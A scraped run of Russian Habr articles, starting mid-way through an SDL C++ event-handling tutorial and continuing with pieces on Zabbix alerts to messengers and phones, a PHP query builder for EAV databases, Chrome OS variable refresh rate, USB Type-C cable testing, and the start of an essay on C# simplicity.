break;
}
case SDL_KEYUP: {
OnKeyUp(Event->key.keysym.sym,Event->key.keysym.mod,Event->key.keysym.unicode);
break;
}
case SDL_MOUSEMOTION: {
OnMouseMove(Event->motion.x,Event->motion.y,Event->motion.xrel,Event->motion.yrel,(Event->motion.state&SDL_BUTTON(SDL_BUTTON_LEFT))!=0,(Event->motion.state&SDL_BUTTON(SDL_BUTTON_RIGHT))!=0,(Event->motion.state&SDL_BUTTON(SDL_BUTTON_MIDDLE))!=0);
break;
}
case SDL_MOUSEBUTTONDOWN: {
switch(Event->button.button) {
case SDL_BUTTON_LEFT: {
OnLButtonDown(Event->button.x,Event->button.y);
break;
}
case SDL_BUTTON_RIGHT: {
OnRButtonDown(Event->button.x,Event->button.y);
break;
}
case SDL_BUTTON_MIDDLE: {
OnMButtonDown(Event->button.x,Event->button.y);
break;
}
}
break;
}
case SDL_MOUSEBUTTONUP: {
switch(Event->button.button) {
case SDL_BUTTON_LEFT: {
OnLButtonUp(Event->button.x,Event->button.y);
break;
}
case SDL_BUTTON_RIGHT: {
OnRButtonUp(Event->button.x,Event->button.y);
break;
}
case SDL_BUTTON_MIDDLE: {
OnMButtonUp(Event->button.x,Event->button.y);
break;
}
}
break;
}
case SDL_JOYAXISMOTION: {
OnJoyAxis(Event->jaxis.which,Event->jaxis.axis,Event->jaxis.value);
break;
}
case SDL_JOYBALLMOTION: {
OnJoyBall(Event->jball.which,Event->jball.ball,Event->jball.xrel,Event->jball.yrel);
break;
}
case SDL_JOYHATMOTION: {
OnJoyHat(Event->jhat.which,Event->jhat.hat,Event->jhat.value);
break;
}
case SDL_JOYBUTTONDOWN: {
OnJoyButtonDown(Event->jbutton.which,Event->jbutton.button);
break;
}
case SDL_JOYBUTTONUP: {
OnJoyButtonUp(Event->jbutton.which,Event->jbutton.button);
break;
}
case SDL_QUIT: {
OnExit();
break;
}
case SDL_SYSWMEVENT: {
//Ignore
break;
}
case SDL_VIDEORESIZE: {
OnResize(Event->resize.w,Event->resize.h);
break;
}
case SDL_VIDEOEXPOSE: {
OnExpose();
break;
}
default: {
OnUser(Event->user.type,Event->user.code,Event->user.data1,Event->user.data2);
break;
}
}
}
void CEvent::OnInputFocus() {
//Pure virtual, do nothing
}
void CEvent::OnInputBlur() {
//Pure virtual, do nothing
}
void CEvent::OnKeyDown(SDLKey sym, SDLMod mod, Uint16 unicode) {
//Pure virtual, do nothing
}
void CEvent::OnKeyUp(SDLKey sym, SDLMod mod, Uint16 unicode) {
//Pure virtual, do nothing
}
void CEvent::OnMouseFocus() {
//Pure virtual, do nothing
}
void CEvent::OnMouseBlur() {
//Pure virtual, do nothing
}
void CEvent::OnMouseMove(int mX, int mY, int relX, int relY, bool Left,bool Right,bool Middle) {
//Pure virtual, do nothing
}
void CEvent::OnMouseWheel(bool Up, bool Down) {
//Pure virtual, do nothing
}
void CEvent::OnLButtonDown(int mX, int mY) {
//Pure virtual, do nothing
}
void CEvent::OnLButtonUp(int mX, int mY) {
//Pure virtual, do nothing
}
void CEvent::OnRButtonDown(int mX, int mY) {
//Pure virtual, do nothing
}
void CEvent::OnRButtonUp(int mX, int mY) {
//Pure virtual, do nothing
}
void CEvent::OnMButtonDown(int mX, int mY) {
//Pure virtual, do nothing
}
void CEvent::OnMButtonUp(int mX, int mY) {
//Pure virtual, do nothing
}
void CEvent::OnJoyAxis(Uint8 which,Uint8 axis,Sint16 value) {
//Pure virtual, do nothing
}
void CEvent::OnJoyButtonDown(Uint8 which,Uint8 button) {
//Pure virtual, do nothing
}
void CEvent::OnJoyButtonUp(Uint8 which,Uint8 button) {
//Pure virtual, do nothing
}
void CEvent::OnJoyHat(Uint8 which,Uint8 hat,Uint8 value) {
//Pure virtual, do nothing
}
void CEvent::OnJoyBall(Uint8 which,Uint8 ball,Sint16 xrel,Sint16 yrel) {
//Pure virtual, do nothing
}
void CEvent::OnMinimize() {
//Pure virtual, do nothing
}
void CEvent::OnRestore() {
//Pure virtual, do nothing
}
void CEvent::OnResize(int w,int h) {
//Pure virtual, do nothing
}
void CEvent::OnExpose() {
//Pure virtual, do nothing
}
void CEvent::OnExit() {
//Pure virtual, do nothing
}
void CEvent::OnUser(Uint8 type, int code, void* data1, void* data2) {
//Pure virtual, do nothing
}
```
Да… Очень много кода, но все *SDL* события должны быть покрыты (т.е. как-то обрабатываться). В этом обработчике, мы принимаем указатель на событие типа *SDL\_Event*, а затем, в зависимости от вида события (нажатие клавиши или перемещение мыши) вызываем соответствующую функцию. Не пугайтесь такого объема кода, на самом деле тут всё предельно просто.
Теперь, когда у нас всё настроено, давайте перейдем в *CApp.h* и добавим созданный класс:
**CApp.h**
```
#ifndef _CAPP_H_
#define _CAPP_H_
#include
#include "CEvent.h"
#include "CSurface.h"
class CApp : public CEvent {
private:
bool Running;
SDL\_Surface\* Surf\_Display;
SDL\_Surface\* Surf\_Test;
public:
CApp();
int OnExecute();
public:
bool OnInit();
void OnEvent(SDL\_Event\* Event);
void OnLoop();
void OnRender();
void OnCleanup();
};
#endif
```
Все должно нормально откомпилироваться. У нас есть настроенный класс обработки событий, осталось связать его с основным классом игры. Откройте *CApp\_OnEvent.cpp* и редактировать следующие функции:
**CApp\_OnEvent.cpp**
```
#include "CApp.h"
void CApp::OnEvent(SDL_Event* Event) {
CEvent::OnEvent(Event);
}
```
Теперь наше сообщение будет передаваться в класс и там корректно обрабатываться. Наша функция проверки события теперь переопределена. Мы избавились от проверки на *SDL\_Quit*, и вместо этого передаем событие во внутреннюю функцию. Снова откройте *CApp.h* снова, и добавить следующие функции:
**CApp.h**
```
#ifndef _CAPP_H_
#define _CAPP_H_
#include
#include "CEvent.h"
#include "CSurface.h"
class CApp : public CEvent {
private:
bool Running;
SDL\_Surface\* Surf\_Display;
SDL\_Surface\* Surf\_Test;
public:
CApp();
int OnExecute();
public:
bool OnInit();
void OnEvent(SDL\_Event\* Event);
void OnExit();
void OnLoop();
void OnRender();
void OnCleanup();
};
#endif
```
Функция *OnExit* будет обрабатывать событие *SDL\_Quit* (нажатие пользователем крестика). Итак, прототип у нас есть, осталось запрограммировать его функционал. Откройте *CApp\_OnEvent.cpp*, и добавьте следующее:
**CApp\_OnEvent.cpp**
```
#include "CApp.h"
void CApp::OnEvent(SDL_Event* Event) {
CEvent::OnEvent(Event);
}
void CApp::OnExit() {
Running = false;
}
```
Перекомпилируйте, и запустите. Вы можете закрыть приложение, совсем как и раньше.
Я рекомендую вам ознакомиться с другими видами событий событий, попробовать прописать ответ на них в соответствующих функциях-обработчиках, потому-что в дальнейшем мы будем использовать некоторые из этих событий в наших играх.
В следующем уроке нас ждет увлекательное путешествие, в конце которого мы создадим нашу первую реальную игру — *Tic-Tac-Toe* (Крестики/Нолики).
Какой-то маленький получился урок, несмотря на большой объем кода. Видимо придется мне дополнить его небольшим примером обработки клавиш *UP*, *DOWN*, *RIGHT* и *LEFT* (стрелочки).
Откройте *CEvent.cpp*, найдите там функцию *CEvent::OnKeyDown* и напишите в ней следующее:
**CEvent.cpp**В самом начале файла добавьте
```
#include
using namespace std;
```
А потом перепишите функционал *CEvent::OnKeyDown*
```
void CEvent::OnKeyDown(SDLKey sym, SDLMod mod, Uint16 unicode) {
switch (sym)
{
case SDLK_ESCAPE:
{
cout << "Hey, HABR! Escape pressed by m0sk1t\n";
break;
}
case SDLK_UP:
{
cout << "Hey, HABR! UP pressed by m0sk1t\n";
break;
}
case SDLK_DOWN:
{
cout << "Hey, HABR! DOWN pressed by m0sk1t\n";
break;
}
case SDLK_LEFT:
{
cout << "Hey, HABR! LEFT pressed by m0sk1t\n";
break;
}
case SDLK_RIGHT:
{
cout << "Hey, HABR! RIGHT pressed by m0sk1t\n";
break;
}
default: break;
}
}
```
Откомпилируйте и запустите, а затем понажимайте стрелочки и закройте окно игры. Вы должны наблюдать примерно это:
Видите консольный вывод? Он отображает результат того что в функции *CEvent::OnKeyDown* мы теперь отслеживаем факт нажатия одной из стрелочек и выводим описание того какая из них была нажата (ну и клавиша *Escape* туда попала).
Ссылки на исходный код:
* [Win32](http://www.sdltutorials.com/Data/Posts/104//sdl-events.zip)
* [\*nix](http://www.sdltutorials.com/Data/Posts/104//sdl-events.tar.gz)
Ссылки на все уроки:
* [Разработка игрового фрэймворка. Часть 1 — Основы SDL](http://habrahabr.ru/post/166875/)
* [Разработка игрового фрэймворка. Часть 2 — Координаты и отображение](http://habrahabr.ru/post/167035/)
* Разработка игрового фрэймворка. Часть 3 — События
* [Разработка игрового фрэймворка. Часть 4 — Крестики-Нолики](http://habrahabr.ru/post/167443/)
* [Разработка игрового фрэймворка. Часть 5 — Анимация](http://habrahabr.ru/post/169197/)
* [Разработка игрового фрэймворка. Часть 6 — Сущности](http://habrahabr.ru/post/169295/) | https://habr.com/ru/post/167245/ | null | ru | null |
# Еще не бот, но уже что-то ― получаем уведомления от Zabbix в мессенджеры
Кажется, что в последнее время электронная почта больше подходит для спама, чем для оперативных оповещений системы мониторинга. В этой статье я соберу методы получения уведомлений на мобильные устройства ― как через мессенджеры, так и через традиционные каналы связи.
Рассматривать решения я буду на примере Zabbix, но их можно адаптировать и под вашу любимую систему, лишь бы она умела запускать скрипты по триггеру.
Slack
=====
Получать уведомления в такой корпоративный мессенджер как Slack действительно удобно, а благодаря открытому API ― еще и просто. С API можно познакомиться в официальной [документации](https://api.slack.com), я же покажу пару примеров реализации.
Самым простым решением станет интеграция с мессенджером через механизм Webhook. Для начала нужно получить на сайте сервиса в разделе [Incoming WebHooks](https://my.slack.com/services/new/incoming-webhook) специальный адрес, на который можно отправлять запросы хоть обычным *curl*. Также там можно будет выбрать иконку и канал для отображения сообщений по умолчанию.
*Получаем URL для отправки запросов.*
Теперь нужно добавить в Zabbix скрипт ― по умолчанию это папка */usr/local/share/zabbix/alertscripts*, ― разрешить его выполнение и настроить в нем необходимые параметры. Со скриптом и подробными инструкциями по настройке можно ознакомиться на GitHub в репозитории [zabbix-slack-alertscript](https://github.com/ericoc/zabbix-slack-alertscript).
*Уведомления в Slack.*
Более интересным и сложным способом решения задачи будет создание полноценного бота. В отличие от простого варианта с curl, бот может не только кидать уведомления, но и удалять их при решении проблемы.
Ознакомиться с исходным кодом бота и подробной инструкцией по настройке можно в репозитории [zabbix-notify](https://github.com/v-zhuravlev/zabbix-notify) на GitHub. Помимо Slack, этот бот поддерживает уведомления в HipChat, создание новых инцидентов и разрешение старых в системе управления инцидентами PagerDuty.
Telegram
========
Получать уведомления в этот популярный, но заблокированный на территории РФ, мессенджер тоже удобно, благо открытый API это позволяет. Ознакомиться с возможностями автоматизации можно в [документации](https://core.telegram.org/api) на официальном сайте.
Для самого простого решения нужно получить свой токен для запросов при помощи «Отца Ботов» ― *@BotFather*. При помощи команд */start* и */newbot* главный бот выдаст заветный токен.
*Получаем токен для нашего бота-уведомлятора.*
Теперь можно отправлять сообщения запросами через curl. В качестве усложненной реализации можно привести в пример бота, отправляющего не только уведомления, но и графики. Завести себе бота поможет GitHub-репозиторий [Zabbix-in-Telegram](https://github.com/ableev/Zabbix-in-Telegram).
С подробной инструкцией к простому и чуть более сложному скрипту можно ознакомиться в материале [«Отправка уведомлений и графиков из Zabbix в Telegram»](https://serveradmin.ru/nastroyka-opoveshheniy-zabbix-v-telegram/).
WhatsApp
========
Этот мессенджер, к сожалению, не имеет документированного публичного API и борется со скриптами на GitHub в рамках «борьбы со спамом». Но выход есть. Можно использовать штатное решение «[прямая связь](https://faq.whatsapp.com/ru/android/26000030/?category=5245251)», описанное в официальном FAQ. Но тогда понадобится держать инстанс WhatsApp Web. Аналогично сработает обвязка автокликером веб-версии или десктопного приложения.
Чуть более интересным вариантом будет использование консольного «мессенджера» *yowsup*. Сам мессенджер доступен в одноименном [репозитории](https://github.com/tgalal/yowsup) GitHub*.* Пока решение работает. Но если WhatsApp вдруг решит поменять свой API, то для адаптации понадобится время.
*Отправка сообщений через консоль.*
Подробнее с настройкой консольного скрипта и Zabbix можно ознакомиться в статье «[Получаем уведомления от Zabbix в WhatsApp](https://habrahabr.ru/post/228405/)».
ВКонтакте
=========
Если ваш дежурный инженер проводит в соцсетях немало времени, то можно отправлять уведомления ему прямо в сообщения (или на стену) ВКонтакте.
Сначала нам понадобится создать свое приложение в соцсети ― для получения токена. Сделать это можно в разделе «[Мои приложения](https://vk.com/apps?act=manage)». После создания нового приложения нам нужно скопировать его ID в разделе «Настройки» и перейти по ссылке:
```
https://oauth.vk.com/authorize?client_id=appid&scope=notify,photos,friends,audio,video,notes,pages,docs,status,questions,offers,wall,groups,**messages**,notifications,stats,ads,offline&redirect_uri=http://api.vk.com/blank.html&display=page&response_type=token
```
Разумеется, вместо *appid* нужно подставить свой ID. А если нужно просто отправлять сообщения ― без оповещения друзей инженера, если он сам не отвечает, ― то в параметрах достаточно задать *messages*.
После подтверждения доступа в адресной строке появится подобный адрес:
```
https://api.vk.com/blank.html#access_token=81eff38378a3bbbcb5c7043a152a69fd04dca057ac821dd7afd7c2d8e35b60172d45a26599c08034cc40a&expires_in=0&user_id=123456
```
Где в значении параметра *access\_token* будет необходимый нам токен.
Теперь при помощи обычного *curl* можно слать сообщения, а с оберткой из простого скрипта это сможет делать и Zabbix.
С пошаговой настройкой уведомлений и вариантом реализации скрипта можно ознакомиться в статье «[Прикручиваем к Zabbix оповещения в VKontakte](http://marvins.ru/administrirovanie/prikruchivaem-k-zabbix-opoveshheniya-v-vkontakte.html)».
Jabber
======
Если некоторое ретроградство вам не чуждо, то еще остался Jabber. Получать уведомления в старый любимый мессенджер Zabbix позволяет «из коробки». Для этого достаточно настроить аккаунт в свойствах оповещений:
*Настройка аккаунта Jabber.*
И указать нужные JID в свойствах пользователей. Подробнее можно ознакомиться в официальной документации Zabbix в разделе [Jabber](https://www.zabbix.com/documentation/3.4/ru/manual/config/notifications/media/jabber). Я же добавлю, что если предварительно аккаунт Jabber зарегистрировать в нужных транспортах, то можно отправлять сообщения в ICQ, IRC и прочий агент Mail.ru.
Push
====
Если не зацикливаться на модных и не очень мессенджерах, то можно получать уведомления и просто через технологию push. Она поддерживается не только в мобильных устройствах, но и в любой Windows 10, а также в браузерах Chrome и Firefox.
Тут нам придется или развертывать свой сервер и приложения для отправки сообщений, или воспользоваться платными сервисами вроде [Pushbullet](https://www.pushbullet.com), [Pushsafer](https://www.pushsafer.com) или [Pushover](https://pushover.net/). Методика схожа с остальными: регистрируемся, получаем токен, ставим приложения или расширения браузера и шлем сообщения хоть многострадальным *curl.*
Выбор конкретного сервиса зависит от ценника. В общем и целом все они работают примерно одинаково. Некоторые сервисы предоставляют ограниченное количество бесплатных сообщений ― например, у Pushbullet это будет 100 сообщений в месяц.
*Push уведомления на Android.*
С примером конкретных реализаций можно ознакомиться:
* в материале «[Zabbix + Pushbullet: простой способ push-оповещения](https://habrahabr.ru/post/220379/)»;
* в разделе [Zabbix](https://www.pushsafer.com/en/zabbix) документации Pushsafer;
* в репозитории [zabbix-alertscripts](https://github.com/sriccio/zabbix-alertscripts) на GitHub.
Уведомления в мессенджеры на телефоны ― это, конечно, хорошо. Но только до тех пор пока у сервера Zabbix есть выход в интернет. Для гарантированного получения уведомлений при сбоях в сети лучше использовать традиционные каналы связи.
SMS
===
Zabbix «из коробки» поддерживает возможность отправлять SMS. К сожалению, он умеет это делать только через последовательный интерфейс. Если у вас завалялся Siemens MC35 или что-то подобное, то с настройками отправки СМС можно ознакомиться в документации Zabbix в разделе [SMS](https://www.zabbix.com/documentation/3.4/ru/manual/config/notifications/media/sms).
Помимо такого архаичного варианта, можно воспользоваться сервисом для отправки СМС вроде [sms.ru](http://sms.ru). Благо они все поддерживают разного рода API. Некоторые предоставляют и e-mail шлюз, и для настройки уведомлений не понадобится писать скрипты. Самое главное при выборе шлюза ― проверить его на предмет задержек доставки СМС.
*Настройка скрипта для уведомлений по СМС.*
С примером настройки Zabbix можно ознакомиться в статье «[Бесплатная отправка SMS](https://habrahabr.ru/post/81630/)[-уведомлений в Zabbix](https://habrahabr.ru/post/81630/)».
Отправка СМС через внешний шлюз не решит проблему отсутствия интернета на сервере в отличие от отправки через аппаратные устройства с симкой. В качестве бюджетного варианта можно использовать USB-модем ― например, Huawei e1550.
Пошаговую инструкцию можно посмотреть в материале «[Оповещения Zabbix через sms, используя GSM модем. Простая настройка](https://habrahabr.ru/post/270497/)».
Голос
=====
СМС можно пропустить запросто, а вот телефонный звонок ― уже сложнее. Поэтому для особо срочных уведомлений можно настроить Zabbix на телефонные звонки. Выходов, как обычно, несколько.
Простым решением будет использование внешнего сервера SIP. Для этого понадобится библиотека [PJSIP](http://www.pjsip.org), которую можно применить как консольный SIP-клиент. Для генерации голосового сообщения подойдет утилита *text2wave* из комплекта генерации речи [Festival](http://www.cstr.ed.ac.uk/projects/festival/). Собрав все в кучу и добавив скриптовой магии, можно быть разбуженным заботливым сервером мониторинга.
Пример реализации детально описан в статье «[Оповещения из Zabbix телефонным звонком](https://habrahabr.ru/post/126963/)».
Альтернативным вариантом станет использование своей АТС на базе Asterisk и обращение к ней с помощью специальных call-файлов или по интерфейсу [AMI](http://asterisk.ru/knowledgebase/Asterisk+manager+API). Тогда, при наличии независимого от интернета канала связи вроде аналоговой линии или потока Е1, можно будет выслушать проблемы вашего сервера.
Описание решения доступно в материале «[Оповещение о проблемах Zabbix по телефону через Asterisk](https://habrahabr.ru/post/184154/)».
И не забываем охранять охранников
=================================
В статье я постарался привести ссылки на основные решения для уведомлений инженеров о проблемах. Главное, при проектировании системы мониторинга учесть возможность отсутствия интернета и не забыть про дублирующую систему, ответив себе на извечный вопрос «Quis custodiet ipsos custodes?». И, конечно же, не нужно превращать сервер мониторинга в спамера, иначе уведомления станут бессмысленны.
**Если вы используете какой-то другой способ оповещения ― мы ждем его в комментариях.** | https://habr.com/ru/post/353652/ | null | ru | null |
# Подобие LINQ на PHP для EAV модели хранения данных
Увидев [пост о LINQ на PHP](http://habrahabr.ru/post/209514/), я решил незамедлительно поделиться своими наработками в этой области.
Моей реализации далеко до полноценного LINQ, но в ней присутсвует наиболее заметная черта технологии — отсутвие инородной строки запроса.
##### Зачем?
Моя деятельность, как рабочая так и не очень, связана с БД, которая имеет EAV модель хранения данных. Это значит, что при увеличении количества сущностей, количество таблиц не увеличивается. Вся информация хранится всего в двух таблицах.
*Таблицы с данными в EAV модели*
Естественно, что для того чтобы получить «запись» из такой структуры, необходимо написать запрос совершенно непохожий на аналогичный запрос при обычной структуре БД.
Например:
```
SELECT field_1, field_2, field_3 FROM object
```
и в EAV
```
SELECT f1.value_bigint, f2.value_bigint, f3.value_bigint
FROM objects ob, attributes_values f1, attributes_values f2, attributes_values f3
WHERE ob.ID_type="object"
AND f1.ID_object = ob.ID_object AND f1.ID_attribute = 1
AND f2.ID_object = ob.ID_object AND f2.ID_attribute = 2
AND f3.ID_object = ob.ID_object AND f3.ID_attribute = 3
```
Как говорится — почувствуйте ~~задницу~~ разницу.
Ситуация осложняется тем, что многие объекты связаны между собой отношениями, которые аналогично раздувают запрос.
##### Генератор запросов
В один прекрасный момент мне надоело писать плохочитаемую лапшу, которая содержит 50% — 70% вспомогательного кода. Тогда и появилась идея генерировать запрос автоматически. Так на свет появилася IQB — Irro Query Builder. Его концепция была навеяна тем, как устроено взаимодействие с БД в Drupal.
Вышеописанный запрос в IQB будет выглядеть следующим образом:
```
$q = new IQB();
$query = $q->from(array(new IQBObject('ob','object'),
new IQBAttr('f1',1,INT),
new IQBAttr('f2',2,INT),
new IQBAttr('f3',3,INT)
))
->where('f1','with','ob')->where('f2','with','ob')->where('f3','with','ob')
->select('f1')->select('f2')->select('f3')
->build();
```
Количество кода не уменьшилось, но читаемость, как мне кажется, повысилась.
В этом запросе использованы все основные методы для генерации запроса.
Метод **from()** принимает класс или массив классов представляющих собой таблицы БД. Таблиц всего две, так что и классов такое же количество. Конструктор класса таблицы принимает псевдоним таблицы, её условный тип и тип данных, если это таблица атрибута.
Псевдоним таблицы используется во всех остальных методах генератора запросов. Условный тип, для таблицы объектов, является названием сущности, среди которых ведётся поиск, а для таблицы атрибутов, условный тип необходим просто чтобы различать атрибуты одного объекта. Тип данных, говорит из какого поля таблицы брать данные. Это необходимо т.к. атрибут объекта является структурой с 4 полями под данные, из которых используется только одно, и в каком именно поле хранятся данные надо указывать явно.
Метод **where()** накладывает условия на выборку. Принимает всегда 3 аргумента: псевдоним таблицы, условие, значение. В зависимости от условия, в качестве значения может быть передан псевдоним другой таблицы, значение или массив значенией с которым сравнивается поле таблицы.
Например:
```
$q->where('attr','with','object');
```
задаст условие
```
attr.ID_object = object.ID_object
```
из такого выражения
```
$q->where('attr','=','object');
```
получится похожее, но совсем другое выражение
```
attr.value_bigint = object.ID_object
```
а если таблица object не была объявлена во from(), то получится вот это (если ещё тип данных атрибута изменить на string)
```
attr.value_ntext = "object"
```
В качестве условий можно использовать строки '=', '!=', '>=', '<=', '>', '<', 'like' и 'with' — принадлежность атрибута конкретному объекту.
Метод **select()** указывает генератору, значения каких таблиц должны попасть в выборку. Кроме того можно «обернуть» это значение в функцию, передав в метод третьим аргументом строку вроде «SUM($)», и вместо доллара в функцию подставится поле таблицы. Вторым аргументом можно передать псевдоним поля в выборке.
Вместе с методами **groupBy()** и **orderBy()** этого хватает для построения среднестатистическиз запросов на чтение.
Однако не всё так просто.
Объекты, как и сущности в обычных БД, могут быть связаны отношениями.
Связь, как это ни странно — тоже объект. С атрибутами. И чтобы получить объект Б, который является дочерним у объекта А, необходимо проделать следующие манипуляции:
```
$q->from(array(
new IQBObject('b','B'),
new IQBAttr('parent',23,INT),
new IQBAttr('child',24,INT)
))
->where('parent','=',123456) // ID_object объекта А
->where('child','with','parent')
->where('child','=','b')
```
Многовато для простого «взять Б дочерний у А». Чтобы автоматизировать связывание объектов, в IQB сущетвует метод **linked()**.
Метод принимает ID\_object или псевдоним известного объекта, псевдоним дочернего/родительского и «флаг разворота» т.е. указание — искать дочерние объекты или родительские. Таким образом вышеизложенный код можно зписать так:
```
$q->from(new IQBObject('b','B'))->linked(123456,'b');// по умолчанию ищется дочерний объект.
```
Можно было бы на этом и закончить, но периодически попадаются задачи, для которых генератор запросов оказывается несколько ограниченным. Например, с некоторых пор начали попадаться объекты, у которых какой-то атрибут может отсутсвовать. Для решения этой проблемы был добавлен метод **joinTo()** который делает LEFT JOIN таблицы атрибута к таблице объекта.
А для совсем уж экзотических запросов есть **rawWhere()** и **rawSelect()** которые позволяют вводить произвольные куски запроса.
##### Заключение
Я не старался делать библиотеку для всеобщего пользования, поэтому новые возможности вводил только когда в этом появлялась необходимость. В связи с этим ошибки проектиования, допущенные на ранних этапах разработки, обросли парой слоёв костылей, необходимых для совместимости со старым кодом и для поддеражания новых функций.
Несморя на возможность реализовыть с помощью IQB довольно сложные запросы, гибким его можно назвать только с натяжкой. Поэтому сейчас формируется концепция более гибкого генератора, который позволит ещё больше сократить количество символов при задании условия запроса, но это уже совсем другая история. | https://habr.com/ru/post/209682/ | null | ru | null |
# В Chrome OS 101 для разработчиков появилась поддержка переменной частоты обновления
Фото: The VergeВ версии Chrome OS 101 для разработчиков [появилась](https://www.theverge.com/2022/3/20/22987668/chrome-os-tests-variable-refresh-rate-vrr-support-dev-channel-101-update) поддержка технологии переменной частоты обновления VRR. Чтобы получить доступ к тестированию, необходимо включить флаг в `chrome://flags#enable-variable-refresh-rate` . Как уточняет Google, экспериментальная VRR «работает только на совместимых дисплеях».
VRR синхронизирует частоту обновления дисплея с FPS всего, что находится на экране. Это помогает предотвратить разрыв экрана, дрожание, задержки и прочие подобные эффекты.
Разрыв экрана. Изображение: GizchinaНеделю назад Google [заявила](https://habr.com/ru/news/t/656179/), что в «скором времени» для некоторых моделей Chromebook будет запущено альфа-тестирование Steam в Chrome OS, но точных сроков не обозначила. Официальный список устройств с возможной поддержкой Steam также до сих пор не опубликован. Вероятно, Google планирует модифицировать Chrome OS, чтобы сделать её более комфортной для игры. Для этого необходимо подключение VRR.
Как [отмечает](https://www.theverge.com/2022/3/20/22987668/chrome-os-tests-variable-refresh-rate-vrr-support-dev-channel-101-update) The Verge, поддержка переменной частоты обновления также может сигнализировать о повышении частоты обновления для будущих планшетов Chrome OS. По словам специалистов издания, на текущий момент система работает на планшетах «довольно неуклюже». Если устройства под управлением Chrome OS хотят конкурировать с такими компаниями, как Samsung и Apple, им жизненно необходима VRR. | https://habr.com/ru/post/656647/ | null | ru | null |
# Инженер Google тестирует кабели USB Type-C и публикует отчёты на Amazon
Некоторые думают, что кабель — простая штука, почти все кабели работают одинаково и не могут причинить никакого вреда. Однако в случае с кабелями-конвертерами USB Type-C это неверно, судя по результатам тестирования, которое провёл Бенсон Люн (Benson Leung), инженер из подразделений Chrome OS, Chromebook Pixel и Pixel C в компании Google.
Среди прочих трудовых обязанностей, Бенсон занимается проверкой разнообразных кабелей-конвертеров USB Type-C на совместимость с ноутбуками Pixel, смартфонами Nexus 5X, 6P и вообще на соответствие спецификациям USB. Что самое ценное, результаты технических тестов он не скрывает, а публикует прямо на сайте Amazon, где продаются кабели.
К настоящему времени Бенсон опубликовал уже с [десяток обзоров](http://www.amazon.com/gp/pdp/profile/A25GROL6KJV3QG/) кабелей-конвертеров различных производителей: Frieq, CableCreation, Belkin, Monba, Kupx, iOrange, Juiced Systems, Orzly и Techmatte. Результаты противоречивые, мягко говоря.
Оказалось, что среди всех кабелей спецификациям USB соответствуют только кабели Frieq, Belkin и iOrange. У остальных есть как минимум одна из двух серьёзных проблем. Например, для адаптеров CableCreation заявлена поддержка силы тока 3 ампера, но в реальности компоненты конвертера не поддерживают такие параметры. Вместо резистора на 56kΩ в нём установлен резистор на 10kΩ, который можно использовать только в кабелях типа C-C (Type-C с обеих сторон). В итоге, при подключении устройства, способного тянуть 3 ампера, результат может оказаться плачевным. Та же проблема у адаптеров Kupx, Techmatte и Monba.
Ноутбуки Pixel как раз могут заряжаться по USB Type-C на 3 амперах, поэтому проблема некачественных кабелей для них весьма актуальна.
Бенсон [объясняет](http://www.amazon.com/review/R2DQ7OH7PQG24F/?ie=UTF8&asin=B013XFANAA&cdForum=Fx2X5W623J3PRPU&cdMsgID=MxCYFB0O0KAXAZ&cdMsgNo=6&cdPage=1&cdSort=oldest&cdThread=Tx2O5XXKTTD2YAL), что требование использовать резистор на 56kΩ в спецификациях установлено для того, чтобы не повредить старое оборудование, в том числе USB Type-A, которое подключается с другой стороны кабеля, если он подключен к разъёму USB Type-C и тянет 3 ампера. Так можно повредить зарядное устройство, компьютер или другую технику.
Самое печальное, что кабель способен нормально работать долгое время, ничем не проявляя брак, но при подключении к определённому оборудованию оно может просто сгореть, как этот конвертер Anker.
> Thought I'd get a quick response from [@Ankerofficial](https://twitter.com/AnkerOfficial) but I guess their products starting on fire isn't a big deal... [pic.twitter.com/fpV5tWpmzc](http://t.co/fpV5tWpmzc)
>
> — Mathew Peterson (@mathewpeterson) [26 мая 2015](https://twitter.com/mathewpeterson/status/603337986495807489)
В своём блоге Бенсон опубликовал [инструкцию](https://plus.google.com/+BensonLeung/posts/jGP5249NppF), как проверить на соответствие спецификациям кабелей-конвертеров из USB Type-A в Type-C или из USB Type-B в Type-C (при наличии ноутбука Chromebook Pixel 2015).
Нужно загрузить ноутбук в режиме отладки (dev mode) и подключить адаптер к какому-нибудь зарядному устройству, которого особо не жалко.
Затем запустить из консоли команду:
```
ectool --name=cros_pd usbpdpower 0
```
Хороший кабель:
```
localhost ~ # ectool --name=cros_pd usbpdpower
Port 0: SNK Charger DCP 4920mV / 2000mA, max 5000mV / 2000mA / 10000mW
Port 1: Disconnected
```
Плохой кабель:
```
localhost ~ # ectool --name=cros_pd usbpdpower
Port 0: SNK Charger Type-C 5147mV / 3000mA, max 5000mV / 3000mA / 15000mW
Port 1: Disconnected
```
Во втором случае отображается Type-C с максимальной силой тока 3000 мА, в то время как кабель подключен к разъёму Type-A, что указывает на неправильные параметры резистора.
Есть и другой вариант проверки: в обычном режиме загрузки зайти в `chrome://system` и в разделе `dmesg` поискать строку вроде этой:
```
[ 121.172637] PDLOG 2015/11/04 19:58:18.074 P1 SNK Charger Type-C 5000mV max 5000mV / 3000mA
``` | https://habr.com/ru/post/386381/ | null | ru | null |
# C# — есть ли что-то лишнее?
Все будет быстро. Это [выступление Анатолия Левенчука](https://www.youtube.com/watch?v=Ugk1kMh6weY), в последнее время не дает мне покоя. Успехи глубинного обучения в последний год говорят о том, что все очень быстро изменится. Слишком долго ~~кричали волки-волки~~ говорили «искусственный интеллект», а его все не было. И вот, когда он, наконец, приходит к нам, многие люди этого просто не осознают, думая, что все закончится очередной победой компьютера в очередной интеллектуальной игре. Очень многие люди, если не все человечество, окажется за бортом прогресса. И этот процесс уже запущен. Думаю, что в этот момент меня не очень будет интересовать вопрос, который вынесен в заголовок статьи. Но, пока этот момент еще не настал, попытаюсь поднять этот потенциально спорный вопрос.
Программируя уже более 25 лет, застал достаточно много различных концепций, что-то смог попробовать, еще больше не успел. Сейчас с интересом наблюдаю за языком Go, который можно отнести к продолжателям “линейки языков Вирта” — Algol-Pascal-Modula-Oberon. Одним из замечательных свойств этой цепочки является то, что каждый последующий язык [становится проще предыдущего](http://www.uni-vologda.ac.ru/cs/syntax/ariphm.htm), но не менее мощным и выразительным.
Думаю, что всем понятно, чем хорош простой язык. Но все же приведу эти критерии, поскольку они будут всплывать позже:
* Простой язык быстрее изучается, значит проще получить необходимых разработчиков.
* Поддержка программы на более простом языке обычно проще (да, это интуитивное ощущение, которое нужно бы доказать, но я приму его сейчас за аксиому).
* У более простого языка проще развивать окружающую его инфраструктуру — переносить на разные платформы, создавать различные утилиты, генераторы, парсеры и т.п.
